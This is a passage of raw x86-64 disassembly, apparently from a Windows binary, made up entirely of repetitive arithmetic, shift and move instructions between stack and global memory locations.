mov rcx, qword [rsp + 0x80f8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5d], al
lea rax, [rsp + 0x81]
mov qword [rsp + 0x9030], rax
mov rax, qword [rsp + 0x6210]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x54a0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6418]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5da0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5cf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7d18], rax
lea rax, [rsp + 0x2a5c]
mov qword [rsp + 0x9038], rax
mov eax, dword [rsp + 0x2c48]
mov ecx, dword [rsp + 0x2be0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7898]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8610]
movzx eax, word [rax]
mov word [rsp + 0x1004], ax
lea rax, [rsp + 0xd50]
mov qword [0x14017a900], rax
movzx eax, byte [rsp + 0x247]
mov rcx, qword [rsp + 0x6550]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x76a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x70f8]
movzx eax, byte [rax]
mov byte [rsp + 0x25e], al
mov rax, qword [rsp + 0x67c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x179]
shl eax, cl
mov rcx, qword [rsp + 0x7448]
mov byte [rcx], al
mov rax, qword [rsp + 0x7a08]
mov rcx, qword [rsp + 0x7c60]
mov qword [rsp + 0x9040], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9040]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x5320]
mov qword [rcx], rax
lea rax, [rsp + 0x8518]
mov qword [rsp + 0x9048], rax
mov eax, dword [rsp + 0x2bb4]
mov ecx, dword [rsp + 0x3100]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c24], eax
lea rax, [0x140178e8c]
mov qword [rsp + 0x9050], rax
movsx eax, byte [rsp + 0x11e]
movsx ecx, byte [rsp + 0x117]
xor eax, ecx
mov byte [rsp + 0x197], al
movsx eax, word [rsp + 0x9e8]
movsx ecx, word [rsp + 0xbdc]
and eax, ecx
mov word [0x140179020], ax
mov rax, qword [rsp + 0x6b38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x86d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x67], al
movzx eax, word [rsp + 0x9c4]
mov word [rsp + 0x1008], ax
mov rax, qword [rsp + 0x6fa0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6a30]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8600]
mov byte [rcx], al
mov eax, dword [rsp + 0x2bfc]
mov dword [rsp + 0x31b4], eax
mov rax, qword [rsp + 0x89a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5ed8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x69f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8068]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8920], rax
mov rax, qword [rsp + 0x8720]
mov eax, dword [rax]
mov dword [rsp + 0x31b8], eax
movsx eax, word [rsp + 0x934]
movsx ecx, word [rsp + 0xc28]
add eax, ecx
mov word [rsp + 0x90c], ax
movzx eax, word [rsp + 0xb94]
movzx ecx, word [0x140178f88]
sub eax, ecx
mov word [0x140178f78], ax
movzx eax, byte [rsp + 0x1a5]
mov byte [rsp + 0x25f], al
movzx eax, word [rsp + 0xd80]
mov rcx, qword [rsp + 0x87b0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x83b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6e18]
movzx eax, word [rax]
mov word [rsp + 0x100c], ax
mov rax, qword [rsp + 0x5d28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x68d0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6e98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a58]
mov rcx, qword [rsp + 0x8110]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2c18], eax
mov eax, dword [0x140178e8c]
mov dword [rsp + 0x31bc], eax
mov rax, qword [rsp + 0x6798]
movzx ecx, al
mov rax, qword [rsp + 0x7a70]
shl rax, cl
mov qword [rsp + 0x4d68], rax
mov rax, qword [rsp + 0x7ef0]
movzx eax, word [rax]
mov word [rsp + 0x1010], ax
mov rax, qword [rsp + 0x6dc8]
movzx eax, byte [rax]
mov byte [0x14017a22c], al
movzx eax, word [0x140178fa8]
movzx ecx, word [rsp + 0x85c]
sar eax, cl
mov rcx, qword [rsp + 0x83a0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1d0]
movzx ecx, byte [rsp + 0x235]
xor eax, ecx
mov byte [rsp + 0x248], al
lea rax, [rsp + 0x1a7]
mov qword [rsp + 0x9058], rax
mov rax, qword [rsp + 0x7370]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x69c0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7fe8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ee8]
mov rax, qword [rax]
mov qword [rsp + 0x9060], rax
mov eax, dword [rsp + 0x2e78]
mov ecx, dword [rsp + 0x2c0c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2aac], eax
mov rax, qword [rsp + 0x7fd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3060]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e04], eax
mov rax, qword [rsp + 0x8070]
mov rax, qword [rax]
mov qword [rsp + 0x9068], rax
mov rax, qword [rsp + 0x7600]
movsx eax, byte [rax]
movsx ecx, byte [0x140178ed6]
sub eax, ecx
mov rcx, qword [0x14017a2d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5e28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4fb0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6218]
mov word [rcx], ax
lea rax, [rsp + 0x209]
mov qword [rsp + 0x9070], rax
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfa4]
sub eax, ecx
mov rcx, qword [rsp + 0x8ea0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5620]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7600]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1c8], al
mov eax, dword [rsp + 0x2e24]
mov dword [rsp + 0x31c0], eax
mov rax, qword [rsp + 0x5d18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7670]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5bd0], rax
mov rax, qword [rsp + 0x5b98]
mov eax, dword [rax]
mov dword [rsp + 0x31c4], eax
mov rax, qword [rsp + 0x8d68]
mov rcx, qword [rsp + 0x8778]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6840], rax
movzx eax, byte [0x14017a206]
movzx ecx, byte [rsp + 0xd8]
and eax, ecx
mov byte [0x140178f36], al
lea rax, [rsp + 0x9c8]
mov qword [rsp + 0x9078], rax
movzx eax, byte [rsp + 0x21a]
movzx ecx, byte [rsp + 0x86]
shl eax, cl
mov rcx, qword [rsp + 0x5f58]
mov byte [rcx], al
mov rax, qword [rsp + 0x87a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd14]
xor eax, ecx
mov rcx, qword [rsp + 0x7fe8]
mov word [rcx], ax
lea rax, [rsp + 0xda4]
mov qword [rsp + 0x9080], rax
mov rax, qword [rsp + 0x5320]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x74f0]
shr rax, cl
mov qword [rsp + 0x59e0], rax
lea rax, [rsp + 0x2f40]
mov qword [rsp + 0x9088], rax
mov rax, qword [rsp + 0x7680]
mov ecx, dword [rsp + 0x2cbc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x308c], eax
mov rax, qword [rsp + 0x6338]
mov rcx, qword [rsp + 0x4e60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8988], rax
movsx eax, byte [rsp + 0x167]
mov rcx, qword [rsp + 0x8cb8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14017a748]
mov byte [rcx], al
movzx eax, byte [rsp + 0x209]
mov byte [rsp + 0x260], al
movsx eax, byte [rsp + 0xf3]
movsx ecx, byte [rsp + 0xfb]
and eax, ecx
mov rcx, qword [rsp + 0x6c38]
mov byte [rcx], al
lea rax, [rsp + 0xb48]
mov qword [rsp + 0x9090], rax
mov rax, qword [rsp + 0x5780]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf58]
sub eax, ecx
mov word [rsp + 0xf24], ax
mov rax, qword [rsp + 0x76d8]
mov rcx, qword [rsp + 0x61e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x64f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9048]
mov rax, qword [rax]
mov qword [rsp + 0x9098], rax
mov rax, qword [rsp + 0x7f68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x58a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5a60]
mov qword [rcx], rax
lea rax, [rsp + 0x3190]
mov qword [rsp + 0x90a0], rax
movsx eax, byte [rsp + 0x243]
movsx ecx, byte [rsp + 0x1d2]
sub eax, ecx
mov byte [reloc.SHELL32.dll_ILCloneFirst], al
mov rax, qword [rsp + 0x8b70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcc8]
add eax, ecx
mov word [rsp + 0x1008], ax
movzx eax, byte [rsp + 0x225]
mov byte [rsp + 0x261], al
mov rax, qword [0x14017a180]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x79c0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8fa0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1b3]
movsx ecx, byte [rsp + 0xc6]
sub eax, ecx
mov byte [rsp + 0x233], al
mov rax, qword [rsp + 0x6d90]
mov eax, dword [rax]
mov dword [rsp + 0x31c8], eax
mov rax, qword [rsp + 0x61f8]
mov rax, qword [rax]
mov rcx, qword [0x140178e78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7700]
mov qword [rcx], rax
lea rax, [rsp + 0x2e44]
mov qword [rsp + 0x90a8], rax
mov rax, qword [rsp + 0x8000]
movzx ecx, al
mov rax, qword [rsp + 0x70c8]
shl rax, cl
mov rcx, qword [rsp + 0x54a8]
mov qword [rcx], rax
movsx eax, word [rsp + 0xe08]
mov rcx, qword [rsp + 0x7fb0]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x140178fac], ax
mov rax, qword [rsp + 0x65f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x169]
or eax, ecx
mov rcx, qword [rsp + 0x6518]
mov byte [rcx], al
mov rax, qword [rsp + 0x7cb0]
movzx eax, byte [rax]
mov byte [rsp + 0x262], al
movsx eax, word [rsp + 0xa30]
movsx ecx, word [rsp + 0xaf8]
xor eax, ecx
mov word [rsp + 0xa00], ax
mov rax, qword [rsp + 0x6430]
movzx eax, word [rax]
mov word [rsp + 0x1014], ax
mov rax, qword [rsp + 0x7490]
mov rcx, qword [rsp + 0x72c0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8e48], rax
mov eax, dword [rsp + 0x2e0c]
mov ecx, dword [rsp + 0x2eb8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d14], eax
mov eax, dword [rsp + 0x2e8c]
mov dword [rsp + 0x31cc], eax
mov rax, qword [rsp + 0x50a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5fc0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6360]
mov qword [rcx], rax
movzx eax, word [rsp + 0xf58]
movzx ecx, word [rsp + 0x858]
and eax, ecx
mov word [0x140178fa4], ax
movzx eax, word [rsp + 0xf00]
mov word [rsp + 0x1018], ax
movzx eax, byte [rsp + 0x1c7]
movzx ecx, byte [rsp + 0x143]
add eax, ecx
mov rcx, qword [rsp + 0x5f90]
mov byte [rcx], al
movzx eax, byte [rsp + 0x244]
mov rcx, qword [rsp + 0x7500]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x65f0]
mov byte [rcx], al
movzx eax, word [rsp + 0xbfc]
mov word [rsp + 0x101c], ax
mov rax, qword [rsp + 0x77c0]
mov rcx, qword [rsp + 0x7a08]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7250]
mov qword [rcx], rax
lea rax, [rsp + 0x2f18]
mov qword [rsp + 0x90b0], rax
mov rax, qword [rsp + 0x5b98]
mov rcx, qword [rsp + 0x5530]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x64b8]
mov dword [rcx], eax
lea rax, [rsp + 0x5c90]
mov qword [rsp + 0x90b8], rax
movsx eax, byte [rsp + 0x7e]
movsx ecx, byte [rsp + 0x1e1]
sub eax, ecx
mov byte [0x140178f3a], al
mov rax, qword [rsp + 0x8250]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b7]
xor eax, ecx
mov byte [rsp + 0xc8], al
movsx eax, word [rsp + 0xc64]
movsx ecx, word [rsp + 0xae8]
or eax, ecx
mov rcx, qword [rsp + 0x5e18]
mov word [rcx], ax
mov rax, qword [rsp + 0x66a0]
movzx eax, word [rax]
mov word [rsp + 0x1020], ax
movsx eax, byte [rsp + 0x22a]
mov rcx, qword [0x14017a4f0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xfd], al
mov rax, qword [rsp + 0x6030]
mov rax, qword [rax]
mov qword [rsp + 0x90c0], rax
mov rax, qword [rsp + 0x80b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8168]
mov qword [rsp + 0x90c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x90c8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3140], eax
mov rax, qword [rsp + 0x6bb8]
mov rcx, qword [rsp + 0x88c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x71c0], rax
mov rax, qword [rsp + 0x8ee0]
mov eax, dword [rax]
mov dword [rsp + 0x31d0], eax
mov rax, qword [rsp + 0x5e18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5090]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7988]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7d]
mov rcx, qword [rsp + 0x5688]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14017a6d0]
mov byte [rcx], al
lea rax, [rsp + 0x914]
mov qword [rsp + 0x90d0], rax
mov rax, qword [rsp + 0x7a20]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5430]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1ba], al
movzx eax, byte [rsp + 0x125]
movzx ecx, byte [0x140178f12]
sub eax, ecx
mov rcx, qword [rsp + 0x80f0]
mov byte [rcx], al
lea rax, [rsp + 0x66c8]
mov qword [rsp + 0x90d8], rax
mov rax, qword [rsp + 0x6480]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c88]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e44], eax
lea rax, [0x14017a060]
mov qword [rsp + 0x90e0], rax
mov rax, qword [rsp + 0x6088]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6d78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8988], rax
mov rax, qword [rsp + 0x77b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd14]
add eax, ecx
mov rcx, qword [rsp + 0x6bf8]
mov word [rcx], ax
lea rax, [0x140178ee8]
mov qword [0x14017a908], rax
lea rax, [rsp + 0xc10]
mov qword [rsp + 0x90e8], rax
movsx eax, byte [rsp + 0x1d2]
movsx ecx, byte [rsp + 0x1dd]
add eax, ecx
mov byte [rsp + 0x14b], al
movzx eax, word [rsp + 0xb14]
mov word [rsp + 0x1024], ax
mov rax, qword [rsp + 0x7a50]
mov rcx, qword [rsp + 0x84c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8518], rax
lea rax, [rsp + 0x2f70]
mov qword [rsp + 0x90f0], rax
mov rax, qword [rsp + 0x6590]
mov rcx, qword [rsp + 0x6558]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2bd8], eax
mov rax, qword [rsp + 0x5420]
mov rcx, qword [rsp + 0x7f00]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8038]
mov qword [rcx], rax
movzx eax, word [rsp + 0x9b8]
mov word [rsp + 0x1028], ax
lea rax, [rsp + 0x14e]
mov qword [0x14017a910], rax
movsx eax, byte [rsp + 0xff]
mov rcx, qword [0x14017a480]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x10d], al
mov rax, qword [rsp + 0x6c78]
movzx eax, word [rax]
mov word [rsp + 0x102c], ax
mov rax, qword [rsp + 0x6cb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5598]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x76a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x87d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ed4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6278]
mov dword [rcx], eax
lea rax, [rsp + 0x2de8]
mov qword [rsp + 0x90f8], rax
mov rax, qword [rsp + 0x4ec8]
mov rcx, qword [rsp + 0x7c90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8810]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7ba8]
mov qword [rsp + 0x9100], rax
movzx eax, word [rsp + 0xd38]
movzx ecx, word [rsp + 0x954]
sub eax, ecx
mov rcx, qword [rsp + 0x8f08]
mov word [rcx], ax
mov rax, qword [rsp + 0x6870]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xae8]
sub eax, ecx
mov rcx, qword [0x14017a4a0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x245]
movsx ecx, byte [rsp + 0x19a]
add eax, ecx
mov rcx, qword [rsp + 0x8458]
mov byte [rcx], al
mov rax, qword [rsp + 0x6610]
movzx eax, byte [rax]
mov byte [rsp + 0x263], al
mov rax, qword [rsp + 0x8020]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6af8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5e50]
mov byte [rcx], al
mov rax, qword [rsp + 0x5830]
movzx eax, byte [rax]
mov byte [rsp + 0x264], al
mov rax, qword [rsp + 0x50c0]
mov ecx, dword [rsp + 0x2ca0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x59f8]
mov dword [rcx], eax
lea rax, [rsp + 0x56a0]
mov qword [rsp + 0x9108], rax
mov rax, qword [rsp + 0x7868]
mov ecx, dword [rsp + 0x30a0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7a98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7f20]
mov rcx, qword [rsp + 0x7e28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ce8], rax
mov rax, qword [rsp + 0x6688]
movzx eax, byte [rax]
mov byte [0x14017a22d], al
lea rax, [0x140178f3c]
mov qword [rsp + 0x9110], rax
mov rax, qword [rsp + 0x7838]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdfc]
add eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov word [rcx], ax
lea rax, [rsp + 0x191]
mov qword [rsp + 0x9118], rax
mov rax, qword [rsp + 0x6600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x137]
shl eax, cl
mov byte [rsp + 0xed], al
mov rax, qword [rsp + 0x7708]
mov rcx, qword [rsp + 0x74e0]
mov qword [rsp + 0x9120], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9120]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x4ac8], rax
lea rax, [rsp + 0x3168]
mov qword [rsp + 0x9128], rax
mov rax, qword [rsp + 0x8a58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b48]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c58], eax
lea rax, [rsp + 0x69b8]
mov qword [rsp + 0x9130], rax
movsx eax, word [rsp + 0xae4]
movsx ecx, word [rsp + 0xff8]
or eax, ecx
mov rcx, qword [0x14017a570]
mov word [rcx], ax
movzx eax, byte [rsp + 0x11b]
movzx ecx, byte [rsp + 0x235]
and eax, ecx
mov rcx, qword [rsp + 0x6af8]
mov byte [rcx], al
movsx eax, word [rsp + 0xdc4]
mov rcx, qword [rsp + 0x7ec8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc68], ax
mov rax, qword [rsp + 0x5f80]
movzx eax, word [rax]
mov word [rsp + 0x1030], ax
mov rax, qword [0x14017a070]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4ff0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6600]
mov byte [rcx], al
mov rax, qword [rsp + 0x89b8]
mov eax, dword [rax]
mov dword [rsp + 0x31d4], eax
mov rax, qword [rsp + 0x9108]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8bd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8790], rax
mov rax, qword [rsp + 0x7de0]
mov rcx, qword [rsp + 0x6bf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2ddc], eax
mov rax, qword [rsp + 0x8400]
mov qword [rsp + 0x9138], rax
lea rax, [rsp + 0xba8]
mov qword [0x14017a918], rax
mov rax, qword [rsp + 0x7970]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6fc0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x79e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8468]
movzx eax, word [rax]
mov word [rsp + 0x1034], ax
mov rax, qword [rsp + 0x67a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5c50]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd30], ax
mov rax, qword [0x14017a448]
movzx eax, byte [rax]
mov byte [rsp + 0x265], al
mov rax, qword [rsp + 0x5fe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2af4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a34], eax
mov eax, dword [rsp + 0x2bd0]
mov ecx, dword [rsp + 0x2ec4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7438]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7a48]
mov rax, qword [rax]
mov qword [rsp + 0x9140], rax
mov rax, qword [rsp + 0x7a58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6988]
mov qword [rsp + 0x9148], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9148]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x5bc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5030]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5a78]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x14017a360]
mov byte [rcx], al
lea rax, [0x140178ecc]
mov qword [rsp + 0x9150], rax
mov rax, qword [rsp + 0x7fa0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x70b0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x8b38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x100c]
xor eax, ecx
mov word [rsp + 0xacc], ax
movzx eax, byte [rsp + 0x172]
mov byte [rsp + 0x266], al
mov rax, qword [rsp + 0x8ee8]
mov rcx, qword [rsp + 0x8a28]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x30d0], eax
mov eax, dword [rsp + 0x2c3c]
mov dword [rsp + 0x31d8], eax
mov rax, qword [rsp + 0x5fb0]
mov rcx, qword [rsp + 0x82f8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x84c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9010]
mov rcx, qword [rsp + 0x78d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8130], rax
lea rax, [rsp + 0x1004]
mov qword [0x14017a920], rax
mov rax, qword [rsp + 0x5ec0]
movzx eax, word [rax]
mov word [rsp + 0x1038], ax
movsx eax, word [rsp + 0xf28]
movsx ecx, word [rsp + 0xf94]
add eax, ecx
mov word [rsp + 0x9d0], ax
movzx eax, byte [rsp + 0x13c]
mov byte [rsp + 0x267], al
movzx eax, word [rsp + 0x1000]
movzx ecx, word [0x140178ff0]
sub eax, ecx
mov rcx, qword [rsp + 0x7620]
mov word [rcx], ax
lea rax, [rsp + 0x3018]
mov qword [rsp + 0x9158], rax
mov rax, qword [rsp + 0x5368]
mov ecx, dword [rsp + 0x2fe0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2cd0], eax
mov rax, qword [rsp + 0x7890]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x68c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7810], rax
lea rax, [rsp + 0x8a90]
mov qword [rsp + 0x9160], rax
movsx eax, byte [rsp + 0x1ee]
mov rcx, qword [rsp + 0x6a30]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178eb7], al
movzx eax, word [rsp + 0x990]
movzx ecx, word [0x14017a888]
add eax, ecx
mov word [rsp + 0xdf0], ax
lea rax, [rsp + 0x131]
mov qword [rsp + 0x9168], rax
mov rax, qword [rsp + 0x8ed8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5d30]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6038]
mov byte [rcx], al
mov rax, qword [0x14017a740]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x85d0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6d40]
mov word [rcx], ax
mov rax, qword [rsp + 0x7978]
mov qword [rsp + 0x9170], rax
mov eax, dword [rsp + 0x2c94]
mov rcx, qword [rsp + 0x5828]
mov qword [rsp + 0x9178], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9178]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4f50]
mov dword [rcx], eax
lea rax, str.kD3
mov qword [rsp + 0x9180], rax
mov rax, qword [rsp + 0x5220]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2d40]
shr eax, cl
mov dword [rsp + 0x3054], eax
lea rax, [rsp + 0xe40]
mov qword [0x14017a928], rax
movsx eax, word [rsp + 0xba4]
movsx ecx, word [rsp + 0x8dc]
xor eax, ecx
mov word [rsp + 0xf78], ax
movzx eax, byte [rsp + 0x153]
mov byte [rsp + 0x268], al
mov rax, qword [rsp + 0x5098]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a0]
sub eax, ecx
mov byte [rsp + 0x1cc], al
mov rax, qword [rsp + 0x8600]
movzx eax, byte [rax]
mov byte [rsp + 0x269], al
mov rax, qword [rsp + 0x6728]
mov ecx, dword [rsp + 0x3150]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2d90], eax
mov rax, qword [rsp + 0x7e30]
mov rcx, qword [rsp + 0x5548]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7ab8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8fe0]
mov eax, dword [rax]
mov dword [rsp + 0x31dc], eax
mov rax, qword [rsp + 0x8230]
mov rcx, qword [rsp + 0x6318]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6920]
mov qword [rcx], rax
lea rax, [rsp + 0x8c]
mov qword [rsp + 0x9188], rax
movzx eax, byte [rsp + 0x70]
movzx ecx, byte [0x140178f0a]
sub eax, ecx
mov byte [0x140178eca], al
movsx eax, word [rsp + 0xcbc]
mov rcx, qword [rsp + 0x77f8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6c68]
mov word [rcx], ax
mov rax, qword [rsp + 0x7718]
movzx eax, word [rax]
mov word [rsp + 0x103c], ax
movzx eax, word [rsp + 0x954]
movzx ecx, word [rsp + 0xca8]
sub eax, ecx
mov word [rsp + 0xf5c], ax
mov rax, qword [rsp + 0x57e0]
mov ecx, dword [rsp + 0x2ce0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b18], eax
mov rax, qword [rsp + 0x5b60]
mov rax, qword [rax]
mov qword [rsp + 0x9190], rax
mov rax, qword [rsp + 0x8998]
mov rcx, qword [rsp + 0x7480]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8120], rax
lea rax, [rsp + 0x2b98]
mov qword [rsp + 0x9198], rax
mov rax, qword [rsp + 0x4d28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x23e]
sub eax, ecx
mov rcx, qword [rsp + 0x8990]
mov byte [rcx], al
mov rax, qword [0x14017a438]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa8]
add eax, ecx
